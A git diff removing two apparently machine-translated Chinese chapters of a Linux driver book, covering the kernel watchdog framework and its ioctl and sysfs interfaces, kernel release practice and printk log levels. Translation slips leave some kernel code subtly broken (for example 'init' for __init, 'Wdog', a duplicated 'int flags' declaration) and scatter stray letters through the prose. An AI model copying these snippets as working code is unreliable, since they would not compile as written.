另一方面,`watchdog_unregister_device()`执行相反的操作。 为了不再为注销而烦恼,您可以使用此函数的托管版本`devm_watchdog_register_device`,其原型如下所示: - -```sh -int devm_watchdog_register_device(struct device *dev,                                   struct watchdog_device *wdd) -``` - -前面的托管版本将在分离驱动时自动处理注销。 - -注册方法(无论它是什么,是否托管)将检查是否提供了`wdd->ops->restart`函数,并将此方法注册为重新启动处理程序。 因此,在向系统注册看门狗设备之前,驱动应使用`watchdog_set_restart_priority()`帮助器设置重启优先级,因为知道重启处理程序的优先级值应遵循以下准则: - -* `0`:这是最低优先级,这意味着在系统中没有提供其他重启处理程序时,将看门狗的重启功能作为最后手段使用。 -* `128`:这是默认优先级,表示如果预计没有其他处理程序可用和/或如果重启足以重启整个系统,则默认使用此重启处理程序。 -* `255`:这是最高优先级,抢占所有其他处理程序。 - -设备注册应该仅在您处理完我们讨论的所有元素之后才能完成;也就是说,在提供了与监视器设备的有效`.info`、`.ops`和超时相关的字段之后。 在此之前,应该为`watchdog_device`结构分配内存空间。 将此结构包装在更大的每个驱动的数据结构中是很好的做法,如下面的示例所示,该示例摘录自`drivers/watchdog/imx2_wdt.c`: - -```sh -[...] -struct imx2_wdt_device { -    struct clk *clk; -    struct regmap *regmap; -    struct watchdog_device wdog; -    bool ext_reset; -}; -``` - -您可以看到看门狗设备数据结构是如何嵌入到更大的结构`struct imx2_wdt_device`中的。 现在是`probe`方法,初始化所有内容,并在更大的结构中设置看门狗设备: - -```sh -static int init imx2_wdt_probe(struct platform_device *pdev) -{ -    struct imx2_wdt_device *wdev; -    struct watchdog_device *wdog; int ret; -    [...] -    wdev = devm_kzalloc(&pdev->dev, sizeof(*wdev), GFP_KERNEL); -    if (!wdev) -        return -ENOMEM; -    [...] -    Wdog = &wdev->wdog; -    if (imx2_wdt_is_running(wdev)) { -        imx2_wdt_set_timeout(wdog, wdog->timeout); -        set_bit(WDOG_HW_RUNNING, &wdog->status); -    } -    ret = watchdog_register_device(wdog); -    if (ret) { -        dev_err(&pdev->dev, "cannot register watchdog device\n"); -        [...] -    } -    return 0; -} -static int exit imx2_wdt_remove(struct platform_device *pdev) -{ -    struct watchdog_device *wdog = platform_get_drvdata(pdev); -    struct imx2_wdt_device *wdev = watchdog_get_drvdata(wdog); -    watchdog_unregister_device(wdog); -    if (imx2_wdt_is_running(wdev)) { -      imx2_wdt_ping(wdog); -      dev_crit(&pdev->dev, "Device removed: Expect reboot!\n"); -    } -    return 0; -} -[...] -``` - -此外,在`move`方法中可以使用较大的结构来跟踪设备状态,特别是其中嵌入的看门狗数据结构。 这就是前面的代码摘录强调的内容。 - -到目前为止,我们已经介绍了 Watchdog 基础知识,介绍了基本数据结构,并描述了主要 API。 现在,我们可以了解一些奇特的特性,如预超时和调控器,以便在看门狗事件中定义系统的行为。 - -## 处理预超时和调控器 - -*调控器*的概念出现在 Linux 内核的几个子系统中(热调控器、CPUFreq 调控器,现在是看门狗调控器)。 它只是一个实现策略管理(有时以算法的形式)的驱动,它对系统的某些状态/事件做出反应。 - -每个子系统实现其调控器驱动的方式可能与其他子系统不同,但其主要思想是相同的。 此外,调控器由唯一的名称和正在使用的调控器(策略管理器)标识。 它们可以动态更改,通常是从 sysfs 界面中更改。 - -现在,回到看门狗预超时和调控器。 通过启用`CONFIG_WATCHDOG_PRETIMEOUT_GOV`内核配置选项,可以将对它们的支持添加到 Linux 内核中。 内核中实际上有两个看门狗调控器驱动:`drivers/watchdog/pretimeout_noop.c`和`drivers/watchdog/pretimeout_panic.c`。 它们的唯一名称分别是`noop`和`panic`。 默认情况下,可以通过启用`CONFIG_WATCHDOG_PRETIMEOUT_DEFAULT_GOV_NOOP`或`CONFIG_WATCHDOG_PRETIMEOUT_DEFAULT_GOV_PANIC`来使用这两个选项。 - -本节的主要目标是将预超时事件传递给当前处于活动状态的看门狗调控器。 这可以通过`watchdog_notify_pretimeout()`接口实现,该接口具有以下原型: - -```sh -void watchdog_notify_pretimeout(struct watchdog_device *wdd) -``` - -正如我们已经讨论过的,一些看门狗设备会生成 IRQ 以响应预超时事件。 主要思想是从该 IRQ 处理程序内部调用`watchdog_notify_pretimeout()`。 在幕后,此接口将在内部找到监视程序调控器(通过在系统中注册的监视程序调控器的全局列表中查找其名称),并调用其`.pretimeout`回调。 - -仅供参考,以下是看门狗调控器结构的外观(您可以通过查看`drivers/watchdog/pretimeout_noop.c`或`drivers/watchdog/pretimeout_panic.c`中的源代码找到有关看门狗调控器驱动的更多信息): - -```sh -struct watchdog_governor { -    const char name[WATCHDOG_GOV_NAME_MAXLEN]; -    void (*pretimeout)(struct watchdog_device *wdd); -}; -``` - -显然,它的字段必须由底层的看门狗调控器驱动填写。 有关预超时通知的实际用法,可以参考在`drivers/watchdog/imx2_wdt.c`中定义的 i.MX6 看门狗驱动的 IRQ 处理程序。 这方面的摘录已在上一节早些时候显示。 在那里,您将注意到从 Watchdog(实际上是预超时)IRQ 处理程序内部调用`watchdog_notify_pretimeout()`。 此外,您会注意到,驱动使用不同的`watchdog_info`结构,具体取决于看门狗是否有有效的 IRQ。 如果存在有效的结构,则使用在`.options`中设置了`WDIOF_PRETIMEOUT`标志的结构,这意味着该设备具有预超时功能。 否则,它使用未设置`WDIOF_PRETIMEOUT`标志的结构。 - -既然我们已经熟悉了调控器和预超时的概念,我们就可以考虑学习另一种实现 Watchdog 的方法,例如基于 GPIO 的方法。 - -## 基于 GPIO 的监视器 - -有时,使用外部看门狗设备而不是 SoC 本身提供的设备可能更好,例如出于功率效率的原因,因为有些 SoC 的内部看门狗比外部看门狗需要更多的电源。 大多数情况下(如果不是总是的话),这种外部看门狗设备通过 GPIO 线进行控制,并且有可能重置系统。 通过切换其连接的 GPIO 线路对其执行 ping 操作。 这种配置在 UDOO Quad 中使用(在其他 UDOO 变体上未选中)。 - -Linux 内核可以通过启用`CONFIG_GPIO_WATCHDOG config`选项来处理该设备,该选项将拉出底层驱动`drivers/watchdog/gpio_wdt.c`。 如果启用,它将通过从`1-to-0-to-1`切换连接到 GPIO 线路的硬件来周期性地*ping*连接到 GPIO 线路的硬件。 如果硬件没有定期收到其 ping,它将重置系统。 您应该使用它,而不是使用 sysfs 直接与 GPIO 对话;它提供了比 GPIO 更好的 sysfs 用户空间接口,并且它与内核框架的集成比您的用户空间代码更好。 - -对此的支持仅来自设备树,有关其绑定的更好文档可以在`Documentation/devicetree/bindings/watchdog/gpio-wdt.txt`中找到,显然来自内核源代码。 - -以下是一个绑定示例: - -```sh -watchdog: watchdog { -    compatible = "linux,wdt-gpio"; -    gpios = <&gpio3 9 GPIO_ACTIVE_LOW>; -    hw_algo = "toggle"; -    hw_margin_ms = <1600>; -}; -``` - -`compatible`属性必须始终为`linux,wdt-gpio`。 `gpios`是控制看门狗设备的 GPIO 说明符。 `hw_algo`应为`toggle`或`level`。 前者意味着应使用低到高或高到低转换来 ping 外部看门狗设备,并且当 GPIO 线保持浮动或连接到三态缓冲器时,看门狗被禁用。 要实现这一点,将 GPIO 配置为输入就足够了。 第二个`algo`表示施加信号电平(高或低)足以 ping 通看门狗。 - -其工作方式如下:当用户空间代码通过`/dev/watchdog`设备文件 ping 看门狗时,底层驱动(实际上为`gpio_wdt.c`)将切换 GPIO 线路(如果`hw_algo`为`toggle`,则为`1-0-1`),或者为该 GPIO 线路分配特定级别(如果`hw_algo`为`level`,则为高级别或低级别)。 例如,UDOO 四元组使用 GPIO 控制的看门狗`APX823-31W5`,其事件输出连接到 i.MX6 PORB 线路(实际上是复位线)。 其原理图可在此处查看:[http://udoo.org/download/files/schematics/UDOO_REV_D_schematics.pdf](http://udoo.org/download/files/schematics/UDOO_REV_D_schematics.pdf)。 - -现在,我们完成了内核端的 Watchdog。 我们回顾了底层数据结构,处理了它的 API,引入了预超时的概念,甚至处理了基于 GPIO 的 Watchdog 替代方案。 在下一节中,我们将研究用户空间实现,它是看门狗服务的一种 conSUMER。 - -# 看门狗用户空间界面 - -在基于 Linux 的系统上,监视器的标准用户空间接口是`/dev/watchdog`文件,守护程序将通过该文件通知内核监视器驱动用户空间仍处于活动状态。 Watchdog 在文件打开后立即启动,并通过定期写入此文件来 ping。 - -当通知发生时,底层驱动将通知看门狗设备,这将导致重置其超时;然后看门狗将在重置系统之前等待另一个`timeout`持续时间。 但是,如果由于任何原因,用户空间在超时之前没有执行通知,监视程序将重置系统(导致重启)。 此机制 PRO 提供了一种强制系统可用性的方法。 让我们从基础开始,学习如何启动和停止 Watchdog。 - -## 启动和停止看门狗 - -打开`/dev/watchdog`设备文件后,监视程序会自动启动,如下例所示: - -```sh -int fd; -fd = open("/dev/watchdog", O_WRONLY); -if (fd == -1) { -    if (errno == ENOENT) -        printf("Watchdog device not enabled.\n"); -    else if (errno == EACCES) -        printf("Run watchdog as root.\n"); -    else -        printf("Watchdog device open failed %s\n", strerror(errno)); -    exit(-1); -} -``` - -只是,关闭看门狗设备文件并不能阻止它。 关闭文件后,您会惊讶地发现系统会重置。 要正确停止看门狗,首先需要将魔术字符*V*写入看门狗设备文件。 这将指示内核在下次关闭设备文件时关闭看门狗,如下所示: - -```sh -const char v = 'V'; -printf("Send magic character: V\n"); ret = write(fd, &v, 1); -if (ret < 0) -    printf("Stopping watchdog ticks failed (%d)...\n", errno); -``` - -然后,您需要关闭看门狗设备文件才能停止它: - -```sh -printf("Close for stopping..\n"); -close(fd); -``` - -重要音符 - -在通过关闭文件设备来停止 Watchdog 时有一个例外:它是在内核的`CONFIG_WATCHDOG_NOWAYOUT`config 选项被启用时发生的。 启用此选项后,看门狗根本无法停止。 因此,您需要一直维修它,否则它会重置系统。 此外,看门狗驱动应该在其选项中设置`WDIOF_MAGICCLOSE`标志;否则,魔术关闭功能将不起作用。 - -现在我们已经了解了如何启动和停止看门狗,现在应该学习如何刷新设备,以防止系统突然重新启动。 - -### Ping/踢看门狗-发送保活 ping - -踢或喂看门狗有两种方式: - -1. 将任何字符写入`/dev/watchdog`:向看门狗设备文件写入被定义为保活 ping。 建议根本不要写`V`字符(因为它有特殊的含义),即使它在字符串中也是如此。 -2. 使用`WDIOC_KEEPALIVE`ioctl,`ioctl(fd, WDIOC_KEEPALIVE,``0);`:忽略 ioctl 的参数。 看门狗驱动应该在此 ioctl 之前在其选项中设置`WDIOF_KEEPALIVEPING`标志,以使其正常工作。 - -最好的做法是每隔一半的超时值就向看门狗提供信息。 这意味着如果它的超时是`30s`,您应该每隔`15s`喂它一次。 现在,让我们了解一下如何收集有关监管机构如何管理我们系统的信息。 - -## 获取监视器功能和身份 - -获取监视程序功能和/或标识包括获取与监视程序关联的底层`struct watchdog_info`结构。 如果您还记得,此信息结构是强制的,由看门狗驱动提供。 - -要实现这一点,您需要使用`WDIOC_GETSUPPORT`ioctl。 以下是一个示例: - -```sh -struct watchdog_info ident; -ioctl(fd, WDIOC_GETSUPPORT, &ident); -printf("WDIOC_GETSUPPORT:\n"); -/* Printing the watchdog's identity, its unique name actually */ -printf("\tident.identity = %s\n",ident.identity); -/* Printing the firmware version */ -printf("\tident.firmware_version = %d\n",        ident.firmware_version); -/* Printing supported options (capabilities) in hex format */ -printf("WDIOC_GETSUPPORT: ident.options = 0x%x\n",       ident.options); -``` - -我们可以进一步测试功能中的一些字段,如下所示: - -```sh -if (ident.options & WDIOF_KEEPALIVEPING) -    printf("\tKeep alive ping reply.\n"); -if (ident.options & WDIOF_SETTIMEOUT) -    printf("\tCan set/get the timeout.\n"); -``` - -您可以(或者我应该说“必须”)使用它,以便在对其执行某些操作之前检查看门狗功能。 现在,我们可以更进一步,了解如何获取并设置更多奇特的 Watchdog 属性。 - -## 设置和获取超时和预超时 - -在设置/获取超时之前,看门狗信息应设置`WDIOF_SETTIMEOUT`标志。 有一些驱动可以使用`WDIOC_SETTIMEOUT`ioctl 动态修改看门狗超时。 这些驱动必须在其看门狗信息结构中设置`WDIOF_SETTIMEOUT`标志,并提供`.set_timeout`回调。 - -虽然此处的参数是以秒为单位表示超时值的整数,但返回值是应用于硬件设备的实际超时值,因为由于硬件限制,它可能与 ioctl 中请求的超时值不同: - -```sh -int timeout = 45; -ioctl(fd, WDIOC_SETTIMEOUT, &timeout); -printf("The timeout was set to %d seconds\n", timeout); -``` - -在查询当前超时时,您应该使用`WDIOC_GETTIMEOUT`ioctl,如下例所示: - -```sh -int timeout; -ioctl(fd, WDIOC_GETTIMEOUT, &timeout); -printf("The timeout is %d seconds\n", timeout); -``` - -最后,在预超时,看门狗驱动应该在选项中设置`WDIOF_PRETIMEOUT`,并在其操作中提供`.set_pretimeout`回调。 然后,您应该将`WDIOC_SETPRETIMEOUT`与预超时值一起用作参数: - -```sh -pretimeout = 10; -ioctl(fd, WDIOC_SETPRETIMEOUT, &pretimeout); -``` - -如果所需的预超时值为`0`或大于当前超时,则会出现`-EINVAL`错误。 - -现在我们已经了解了如何在看门狗设备上获取和设置超时/预超时,我们可以学习如何设置看门狗触发前的剩余时间 g。 - -### 得到剩下的时间 - -`WDIOC_GETTIMELEFT`ioctl 允许在复位发生之前检查看门狗计数器上的剩余时间。 此外,看门狗驱动应该通过提供`.get_timeleft()`回调来支持此功能;否则将出现`EOPNOTSUPP`错误。 下面的示例显示了如何使用此 ioctl: - -```sh -int timeleft; -ioctl(fd, WDIOC_GETTIMELEFT, &timeleft); -printf("The remaining timeout is %d seconds\n", timeleft); -``` - -在 ioctl 的返回路径上填充`timeleft`变量。 - -一旦监视器启动,它就会在配置为重新启动时触发重新启动。 在下一节中,我们将学习如何获取上次重新启动的原因,以便查看由 Watchdog 导致的重新启动的原因是什么。 - -## 获取(引导/重新引导)状态 - -在本节中有两个 ioctl 命令可供使用。 这些是`WDIOC_GETSTATUS`和`WDIOC_GETBOOTSTATUS`。 处理这些问题的方式取决于驱动实现,有两种类型的驱动实现: - -* 通过其他设备提供看门狗功能的旧驱动。 这些驱动不使用通用看门狗框架接口,并提供自己的`file_ops`和自己的`.ioctl`操作。 此外,这些驱动只支持`WDIOC_GETSTATUS`,而其他驱动可能同时支持`WDIOC_GETSTATUS`和`WDIOC_GETBOOTSTATUS`。 两者的不同之处在于,前者将返回设备状态寄存器的原始内容,而后者应该更智能一些,因为它解析原始内容,并且只返回引导状态标志。 这些驱动需要迁移到新的通用看门狗框架。请注意,某些支持两个命令的驱动可能会为两个 ioctls 返回相同的值(相同的`case`语句),而其他驱动可能会返回不同的值(每个命令都有自己的`case`语句)。 -* 新驱动使用通用看门狗框架。 这些驱动依赖于框架,不再关心`file_ops`。 所有操作都在`drivers/watchdog/watchdog_dev.c`文件中完成(您可以查看一下,尤其是 ioctl 命令是如何实现的)。 对于这些类型的驱动,`WDIOC_GETSTATUS`和`WDIOC_GETBOOTSTATUS`分别由看门狗内核处理。 本节将介绍这些驱动。 - -现在,让我们将重点放在通用实现上。 对于这些驱动,`WDIOC_GETBOOTSTATUS`将返回底层`watchdog_device.bootstatus`字段的值。 对于`WDIOC_GETSTATUS`,如果提供了看门狗`.status`操作,则将调用它并将其返回值复制给用户;否则,将使用中的`AND`操作调整`watchdog_device.bootstatus`的内容,以清除(或标记)无意义的位。 下面的代码片段显示了它是如何在内核空间中完成的: - -```sh -static unsigned int watchdog_get_status(struct                                         watchdog_device *wdd) -{ -    struct watchdog_core_data *wd_data = wdd->wd_data; -    unsigned int status; -    if (wdd->ops->status) -        status = wdd->ops->status(wdd); -    else -        status = wdd->bootstatus & -                      (WDIOF_CARDRESET | WDIOF_OVERHEAT | -                       WDIOF_FANFAULT | WDIOF_EXTERN1 | -                       WDIOF_EXTERN2 | WDIOF_POWERUNDER | -                       WDIOF_POWEROVER); -    if (test_bit(_WDOG_ALLOW_RELEASE, &wd_data->status)) -        status |= WDIOF_MAGICCLOSE; -    if (test_and_clear_bit(_WDOG_KEEPALIVE, &wd_data->status)) -        status |= WDIOF_KEEPALIVEPING; -    return status; -} -``` - -前面的代码是一个通用的看门狗核心函数,用于获取看门狗状态。 它实际上是一个包装器,负责调用底层的`ops.status`回调。 现在,回到我们的用户空间使用情况。 我们可以做到以下几点: - -```sh -int flags = 0; -int flags; -ioctl(fd, WDIOC_GETSTATUS, &flags); -/* or ioctl(fd, WDIOC_GETBOOTSTATUS, &flags); */ -``` - -显然,我们可以像前面在*获取监视器功能和身份*部分中所做的那样,继续进行个别 l 标志检查。 - -到目前为止,我们已经编写了使用看门狗设备的代码。 下一节将向我们展示如何在不编写 ng 代码的情况下从用户空间处理 Watchdog,本质上是使用 sysfs 接口。 - -## 看门狗 sysfs 接口 - -Watchdog 框架提供了通过 sysfs 接口从用户空间管理看门狗设备的可能性。 如果内核中启用了`CONFIG_WATCHDOG_SYSFS`配置选项,并且根目录为`/sys/class/watchdogX/`,则这是可能的。 `X`是系统中看门狗设备的索引。 Sysfs 中的每个监视器目录都有以下内容: - -* `nowayout`:如果设备支持`nowayout`功能,则给出`1`,否则给出`0`。 -* `status`:这是相当于`WDIOC_GETSTATUS`ioctl 的 sysfs。 此 sysfs 文件报告监视程序的内部状态位。 -* `timeleft`:这是相当于`WDIOC_GETTIMELEFT`ioctl 的 sysfs。 此 sysfs 条目返回监视程序重置系统前的剩余时间(实际为秒数)。 -* `timeout`:给出编程超时的当前值。 -* `identity`:包含监视程序设备的标识字符串。 -* `bootstatus`:这是相当于`WDIOC_GETBOOTSTATUS`ioctl 的 sysfs。 此条目通知系统复位是否是由看门狗设备引起的。 -* `state`:给出看门狗设备的活动/非活动状态。 - -现在已经描述了前面的监视器属性,我们可以从用户空间集中讨论预超时管理。 - -### 处理预超时事件 - -调速器的设置通过 sysfs 完成。 调控器只是一个策略管理器,它根据一些外部(但输入)参数执行某些操作。 有热调控器、CPUFreq 调控器,现在还有看门狗调控器。 每个调控器都在其自己的驱动中实现。 - -您可以使用以下命令检查监视器的可用调控器(比方说`watchdog0`): - -```sh -# cat /sys/class/watchdog/watchdog0/pretimeout_available_governors -noop panic -``` - -现在,我们可以检查是否可以选择预超时调控器: - -```sh -# cat /sys/class/watchdog/watchdog0/pretimeout_governor -panic -# echo -n noop > /sys/class/watchdog/watchdog0/pretimeout_governor -# cat /sys/class/watchdog/watchdog0/pretimeout_governor -noop -``` - -要检查预超时值,只需执行以下操作: - -```sh -# cat /sys/class/watchdog/watchdog0/pretimeout -10 -``` - -现在,我们熟悉如何从用户空间使用 Watchdog sysfs 界面。 虽然我们不在内核中,但我们可以利用整个框架,特别是处理看门狗参数。 - -# 摘要 - -在本章中,我们讨论了看门狗设备的各个方面:它们的 API、GPIO 替代方案,以及它们如何帮助保持系统的可靠性。 我们了解了如何启动、如何(在可能的情况下)停止以及如何维护看门狗设备。 此外,我们还引入了预超时和看门狗专用调控器的概念。 - -在下一章中,我们将讨论一些 Linux 内核开发和调试技巧,例如分析内核死机消息和内核跟踪。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/14.md b/docs/master-linux-device-driver-dev/14.md deleted file mode 100644 index b0264a75..00000000 --- a/docs/master-linux-device-driver-dev/14.md +++ /dev/null @@ -1,717 +0,0 @@ -# 十四、Linux 内核调试提示和最佳实践 - -大多数情况下,作为开发的一部分,编写代码并不是最难的部分。 Linux 内核是位于操作系统最低层的独立软件,这一事实使事情变得更加困难。 这使得调试 Linux 内核变得具有挑战性。 但是,大多数情况下,我们不需要额外的工具来调试内核代码,因为大多数内核调试工具都是内核本身的一部分,这一事实弥补了这一点。 我们将从熟悉 Linux 内核发布模型开始,您将学习 Linux 内核发布过程和步骤。 然后,我们将研究与 Linux 内核调试相关的开发技巧(特别是通过打印进行调试),最后,我们将重点关注跟踪 Linux 内核,以非目标调试结束,并学习如何利用内核 OOP。 - -本章将介绍以下主题: - -* 了解 Linux 内核发布过程 -* Linux 内核开发技巧 -* Linux 内核跟踪与性能分析 -* Linux 内核调试技巧 - -# 技术要求 - -以下是本章的前提条件: - -* 具备高级计算机体系结构知识和 C 编程技能 -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# 了解 Linux 内核发布过程 - -根据 Linux 内核发布模型,始终存在三种类型的活动内核版本:主线版本、稳定版本和**长期支持**(**LTS**)版本。 首先,错误修复和新特性由子系统维护人员收集和准备,然后提交给 Linus Torvalds,以便他可以将它们包括在自己的 Linux 树中,该树称为*主线 Linux 树*,也称为主 Git 存储库。 这就是每个稳定版本的发源地。 - -在每个新内核版本发布之前,都会通过*Release Candidate*标签提交给社区,以便开发人员可以测试和完善所有新功能,最重要的是,共享反馈。 在这个周期中,Linus 将依靠反馈来决定最终版本是否已经准备好发布。 当他确信新内核已经准备就绪时,他制作(实际上是标记它)最终版本,我们将这个版本称为*稳定*,以表明它不再是*候选版本*:这些版本是*vX.Y*版本。 - -发布版本没有严格的时间表。 然而,新的主线内核通常每 2-3 个月发布一次。 稳定的内核版本基于 Linus 的版本,即主线树版本。 - -一旦 LINUS 发布了主线内核,它也会出现在*linux-Stability*树中(可在[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/)获得),在那里它将成为一个分支,可以从这里接收稳定发布的错误修复。 *Greg Kroah-Hartman*负责维护此树,也称为稳定树,因为它用于跟踪以前发布的稳定内核。 也就是说,为了将修复程序应用于此树,必须首先将此修复程序合并到 Linus 树中。 因为修复必须在返回之前进行,所以据说此修复是向后移植的。 一旦修复了主线存储库中的错误,就可以将其应用于仍由内核开发社区维护的以前发布的内核。 所有移植到稳定版本的修复都必须满足一组强制性的验收标准--其中一个标准是它们**必须已经存在于 Linus 的树**中。 - -重要音符 - -修复内核版本被认为是稳定的。 - -例如,Linus 发布了`4.9`内核,然后基于该内核的稳定内核版本编号为`4.9.1`、`4.9.2`、`4.9.3`,依此类推。 这样的版本被称为*错误修复内核版本*,当提到它们在稳定内核版本树中的分支时,序列通常被缩写为数字*4.9.y*。 每个稳定的内核发布树由单个内核开发人员维护,该开发人员负责挑选发布所需的补丁,并执行审查/发布过程。 在下一个主线内核可用之前,通常只有几个修复内核版本,除非它被指定为*长期维护内核*。 - -每个子系统和内核维护器库都驻留在这里:[https://git.kernel.org/pub/scm/linux/kernel/git/](https://git.kernel.org/pub/scm/linux/kernel/git/)。 在那里,我们还可以找到 Linus 树或马厩树。 在 Linus 树([https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/))中,Linus 树中只有一个分支,即主分支。 其中的标记要么是稳定版本,要么是候选版本。 在稳定树([https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/))中,每个稳定内核版本都有一个分支(名为*.y*,其中**是 Linus tree 中的发布版本),每个分支都包含其修复内核版本。 - -重要音符 - -为了跟踪 Linux 内核发行版,可以手头保留一些链接。 第一个是[LTS](https://www.kernel.org/),您可以从其中下载内核档案,然后是[LTS](https://www.kernel.org/category/releases.html),您可以从其中访问最新的 https://www.kernel.org/内核版本及其支持时间表。 您还可以参考此链接[https://patchwork.kernel.org/](https://patchwork.kernel.org/),从这里您可以按子系统跟踪内核补丁提交。 - -既然我们已经熟悉了 Linux 内核发布模型,我们就可以深入研究一些开发技巧和最佳实践,它们有助于巩固和利用其他内核开发人员体验 NCES。 - -# Linux 内核开发技巧 - -最佳的 Linux 内核开发实践受到现有内核代码的启发。 这样,你当然可以学到好的做法。 也就是说,我们不会重新发明轮子。 我们将重点介绍本章所需的内容,即调试。 最常用的调试方法涉及日志记录和打印。 为了利用这种经过时间测试的调试技术,Linux 内核提供了合适的日志记录 API,并公开了一个内核消息缓冲区来存储日志。 虽然这看起来似乎很明显,但我们将重点介绍内核日志 API,并学习如何从内核代码或用户空间管理消息缓冲区。 - -## 消息打印 - -消息打印和日志记录是开发固有的,无论我们是在内核空间还是在用户空间。 在内核中,`printk()`函数早已成为事实上的内核消息打印函数。 它类似于 C 库中的`printf()`,但具有日志级别的概念。 - -如果您查看实际驱动代码的示例,您会注意到它的用法如下: - -```sh -printk( "printf like formatted message\n"); -``` - -这里,``是`include/linux/kern_levels.h`中定义的八个不同日志级别之一,并指定错误消息的严重程度。 您还应该注意,日志级别和格式字符串之间没有逗号(因为预处理器会连接这两个字符串)。 - -### 内核日志级别 - -Linux 内核使用级别概念来确定消息的关键程度。 它们中有八个,每个都定义为一个字符串,它们的描述如下: - -* `KERN_EMERG`,定义为`"0"`。 它将用于紧急消息,这意味着系统即将崩溃或不稳定(不可用)。 -* `KERN_ALERT`,定义为`"1"`,表示发生了不好的事情,必须立即采取行动。 -* `KERN_CRIT`,定义为`"2"`,表示发生了严重情况,例如严重的硬件/软件故障。 -* `KERN_ERR`,定义为`"3"`,在错误条件下使用,通常由驱动用来指示硬件故障或与子系统交互失败。 -* `KERN_WARNING`,定义为`"4"`,用作警告,表示本身并不严重,但可能表示有问题。 -* `KERN_NOTICE`,定义为`"5"`,意思是不严重,但仍然值得注意。 这通常用于报告安全事件。 -* `KERN_INFO`,定义为`"6"`,用于信息性消息,例如驱动初始化时的启动信息。 -* `KERN_DEBUG`,定义为`"7"`,用于调试,仅当`DEBUG`内核选项启用时才处于活动状态。 否则,其内容将被直接忽略。 - -如果您没有在消息中指定日志级别,它将默认为`DEFAULT_MESSAGE_LOGLEVEL`(通常为`"4"`=`KERN_WARNING`),这可以通过`CONFIG_DEFAULT_MESSAGE_LOGLEVEL`内核配置选项进行设置。 - -也就是说,对于新的驱动,我们鼓励您使用更方便的打印 API,这些 API 将日志级别嵌入到它们的名称中。 这些打印助手是`pr_emerg`、`pr_alert`、`pr_crit`、`pr_err`、`pr_warning`、`pr_warn`、`pr_notice`、`pr_info`、`pr_debug`或`pr_dbg`。 除了比等效的`printk()`调用更简洁之外,它们还可以通过`pr_fmt()`宏对格式字符串使用通用定义;例如,在源文件的顶部(在任何`#include`指令之前)定义以下内容: - -```sh -#define pr_fmt(fmt) "%s:%s: " fmt, KBUILD_MODNAME, __func__ -``` - -这将为该文件中的每个`pr_*()`消息添加发起该消息的模块和函数名的前缀。 如果内核是用`DEBUG`编译的,则用`printk(KERN_DEBUG …)`替换`pr_devel`和`pr_debug`,否则用空语句替换它们。 - -`pr_*()`族宏将在核心代码中使用。 对于设备驱动,您应该使用与设备相关的帮助器,这些帮助器也接受相关的设备结构作为参数。 它们还以标准格式打印相关设备的名称,确保始终可以将消息与生成该消息的设备相关联: - -```sh -dev_emerg(const struct device *dev, const char *fmt, ...); -dev_alert(const struct device *dev, const char *fmt, ...); -dev_crit(const struct device *dev, const char *fmt, ...); -dev_err(const struct device *dev, const char *fmt, ...); -dev_warn(const struct device *dev, const char *fmt, ...); -dev_notice(const struct device *dev, const char *fmt, ...); -dev_info(const struct device *dev, const char *fmt, ...); -dev_dbg(const struct device *dev, const char *fmt, ...); -``` - -虽然内核使用日志级别的概念来确定消息的重要性,但它也用于决定是否应该通过将消息打印到当前控制台(其中控制台也可以是串行线,甚至是打印机,而不是`xterm`)来立即向用户显示该消息。 - -为了做出决定,内核将消息的日志级别与`console_loglevel`内核变量进行比较,如果消息日志级别的重要性高于`console_loglevel`(即低于`console_loglevel`),则消息将打印到当前控制台。 由于默认内核日志级别通常为`"4"`,这就是为什么您在控制台上看不到`pr_info()`或`pr_notice()`甚至`pr_warn()`消息的原因,因为它们的值高于或等于默认值(这意味着优先级较低)。 - -要确定系统上的当前`console_loglevel`,只需键入以下命令: - -```sh -$ cat /proc/sys/kernel/printk -4    4    1    7 -``` - -第一个整数(`4`)是当前控制台日志级别,第二个数字(`4`)是默认的,第三个数字(`1`)是可以设置的最低控制台日志级别,第四个数字(`7`)是引导时的默认控制台日志级别。 - -要更改当前的`console_loglevel`,只需写入相同的文件,即`/proc/sys/kernel/printk`。 因此,要将所有消息打印到控制台,请执行以下简单命令: - -```sh -# echo 8 > /proc/sys/kernel/printk -``` - -每条内核消息都会出现在您的控制台上。 然后,您将拥有以下内容: - -```sh -# cat /proc/sys/kernel/printk -8    4    1    7 -``` - -更改控制台日志级别的另一种方法是使用带有`-n`参数的`dmesg`: - -```sh -# dmesg -n 5 -``` - -使用前面的命令,`console_loglevel`被设置为打印`KERN_WARNING`(`4`)或更严重的消息。 您还可以在引导时使用`loglevel`引导参数指定`console_loglevel`(有关详细信息,请参阅`Documentation/kernel-parameters.txt`)。 - -重要音符 - -还有`KERN_CONT`和`pr_cont`,它们有些特殊,因为它们不指定紧急程度,而是指示继续的消息。 它们只能在早期启动期间由核心/ARCH 代码使用(否则,连续的行将不是 SMP 安全的)。 当要打印的消息行的一部分取决于计算结果时,这可能很有用,如下例所示: - -```sh -[…] -pr_warn("your last operation was "); -if (success) -   pr_cont("successful\n"); -else -   pr_cont("NOT successful\n"); -``` - -您应该记住,只有最后的 print 语句才有尾随的`\n`字符。 - -### 内核日志缓冲区 - -无论它们是否立即在控制台上打印,每个内核消息都记录在一个缓冲区中。 这个内核消息缓冲区是一个固定大小的循环缓冲区,这意味着如果缓冲区填满,它会回绕,您可能会丢失一条消息。 因此,增加缓冲区大小可能会有所帮助。 要更改内核消息缓冲区大小,可以使用`LOG_BUF_SHIFT`选项,该选项的值用于左移 1,以获得最终大小,即内核日志缓冲区大小(例如,`16`=>`1<<16`=>`64KB`,`17`=>`1 << 17`=>`128KB`)。 也就是说,它是在编译时定义的静态大小。 这个大小也可以通过内核引导参数来定义,方法是使用`log_buf_len`参数,换句话说就是`log_buf_len=1M`(只接受 2 的幂)。 - -#### 添加定时信息 - -有时,将计时信息添加到打印的消息中很有用,这样您就可以看到特定事件发生的时间。 内核包含一个用于执行此操作的特性,称为`printk times`,可通过`CONFIG_PRINTK_TIME`选项启用。 